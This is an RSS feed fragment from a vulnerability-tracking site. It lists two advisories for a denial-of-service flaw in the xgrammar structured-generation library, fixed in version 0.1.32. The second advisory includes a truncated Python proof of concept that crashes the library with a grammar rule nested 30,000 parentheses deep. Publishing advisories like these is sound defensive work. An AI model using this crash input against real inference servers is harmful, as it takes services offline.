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    <title>Most recent entries from all</title>
    <link>https://cve.radiocsirt.org</link>
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    <lastBuildDate>Fri, 02 Oct 2026 16:23:49 +0000</lastBuildDate>
    <item>
      <title>CVE-2026-25048 — xgrammar: Multi-layer nesting causes DoS</title>
      <link>https://cve.radiocsirt.org/vuln/cve-2026-25048</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; mlc-ai xgrammar, Red Hat AI Inference Server 3.2, Red Hat OpenShift AI 2.25, Red Hat AI Inference Server, Red Hat Enterprise Linux AI (RHEL AI) 3, Red Hat OpenShift AI (RHOAI)&lt;/p&gt;
&lt;p&gt;xgrammar is an open-source library for efficient, flexible, and portable structured generation. Prior to version 0.1.32, the multi-level nested syntax caused a segmentation fault (core dumped). This issue has been patched in version 0.1.32.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; mlc-ai xgrammar, Red Hat AI Inference Server 3.2, Red Hat OpenShift AI 2.25, Red Hat AI Inference Server, Red Hat Enterprise Linux AI (RHEL AI) 3, Red Hat OpenShift AI (RHOAI)&lt;/p&gt;
&lt;p&gt;xgrammar is an open-source library for efficient, flexible, and portable structured generation. Prior to version 0.1.32, the multi-level nested syntax caused a segmentation fault (core dumped). This issue has been patched in version 0.1.32.&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/cve-2026-25048</guid>
    </item>
    <item>
      <title>GHSA-7rgv-gqhr-fxg3 — xgrammar vulnerable to DoS via multi-layer nesting</title>
      <link>https://cve.radiocsirt.org/vuln/ghsa-7rgv-gqhr-fxg3</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; PyPI: xgrammar&lt;/p&gt;
&lt;p&gt;### Summary&lt;/p&gt;
&lt;p&gt;The multi-level nested syntax caused a segmentation fault (core dump).&lt;/p&gt;
&lt;p&gt;### Details&lt;/p&gt;
&lt;p&gt;A trigger stack overflow or memory exhaustion was caused by constructing a malicious grammar rule containing 30,000 layers of nested parentheses.&lt;/p&gt;
&lt;p&gt;### PoC&lt;/p&gt;
&lt;p&gt;```
#!/usr/bin/env python3
&amp;#34;&amp;#34;&amp;#34;
XGrammar - Math Expression Generation Example
&amp;#34;&amp;#34;&amp;#34;&lt;/p&gt;
&lt;p&gt;import xgrammar as xgr
import torch
from transformers import AutoModelForCausalLM, AutoTokenizer, AutoConfig&lt;/p&gt;
&lt;p&gt;s = &amp;#39;(&amp;#39; * 30000 + &amp;#39;a&amp;#39;
grammar = f&amp;#34;root ::= {s}&amp;#34;&lt;/p&gt;
&lt;p&gt;def main():
    device = &amp;#34;cuda&amp;#34; if torch.cuda.is_available() else &amp;#34;cpu&amp;#34;
    model_name = &amp;#34;Qwen/Qwen2.5-0.5B-Instruct&amp;#34;
    
    # Load model
    model = AutoModelForCausalLM.from_pretrained(
        model_name,
        torch_dtype=torch.float16 if device == &amp;#34;cuda&amp;#34; else torch.float32,
        device_map=device
    )
    tokenizer = AutoTokenizer.from_pretrained(model_name)
    config = AutoConfig.from_pretrained(model_name)
    
    # Math expression grammar
    math_grammar = grammar
    
    # Setup
    tokenizer_info = xgr.TokenizerInfo.from_huggingface(
        tokenizer,
        vocab_size=config.vocab_size
    )
    compiler = xgr.GrammarCompiler(tokenizer_info)
    compiled_grammar = compiler.compile_grammar(math_grammar)
    
    # Generate
    prompt = &amp;#34;Math: &amp;#34;
    inputs = tokenizer(prompt, return_tensors=&amp;#34;pt&amp;#34;).to(device)
    
    xgr_processor = xgr.contrib.hf.LogitsProcessor(compiled_grammar)
    
    output_ids = model.generate(
        **inputs,
        max_new_tokens=50,…&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; PyPI: xgrammar&lt;/p&gt;
&lt;p&gt;### Summary&lt;/p&gt;
&lt;p&gt;The multi-level nested syntax caused a segmentation fault (core dump).&lt;/p&gt;
&lt;p&gt;### Details&lt;/p&gt;
&lt;p&gt;A trigger stack overflow or memory exhaustion was caused by constructing a malicious grammar rule containing 30,000 layers of nested parentheses.&lt;/p&gt;
&lt;p&gt;### PoC&lt;/p&gt;
&lt;p&gt;```
#!/usr/bin/env python3
&amp;#34;&amp;#34;&amp;#34;
XGrammar - Math Expression Generation Example
&amp;#34;&amp;#34;&amp;#34;&lt;/p&gt;
&lt;p&gt;import xgrammar as xgr
import torch
from transformers import AutoModelForCausalLM, AutoTokenizer, AutoConfig&lt;/p&gt;
&lt;p&gt;s = &amp;#39;(&amp;#39; * 30000 + &amp;#39;a&amp;#39;
grammar = f&amp;#34;root ::= {s}&amp;#34;&lt;/p&gt;
&lt;p&gt;def main():
    device = &amp;#34;cuda&amp;#34; if torch.cuda.is_available() else &amp;#34;cpu&amp;#34;
    model_name = &amp;#34;Qwen/Qwen2.5-0.5B-Instruct&amp;#34;
    
    # Load model
    model = AutoModelForCausalLM.from_pretrained(
        model_name,
        torch_dtype=torch.float16 if device == &amp;#34;cuda&amp;#34; else torch.float32,
        device_map=device
    )
    tokenizer = AutoTokenizer.from_pretrained(model_name)
    config = AutoConfig.from_pretrained(model_name)
    
    # Math expression grammar
    math_grammar = grammar
    
    # Setup
    tokenizer_info = xgr.TokenizerInfo.from_huggingface(
        tokenizer,
        vocab_size=config.vocab_size
    )
    compiler = xgr.GrammarCompiler(tokenizer_info)
    compiled_grammar = compiler.compile_grammar(math_grammar)
    
    # Generate
    prompt = &amp;#34;Math: &amp;#34;
    inputs = tokenizer(prompt, return_tensors=&amp;#34;pt&amp;#34;).to(device)
    
    xgr_processor = xgr.contrib.hf.LogitsProcessor(compiled_grammar)
    
    output_ids = model.generate(
        **inputs,
        max_new_tokens=50,…&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/ghsa-7rgv-gqhr-fxg3</guid>
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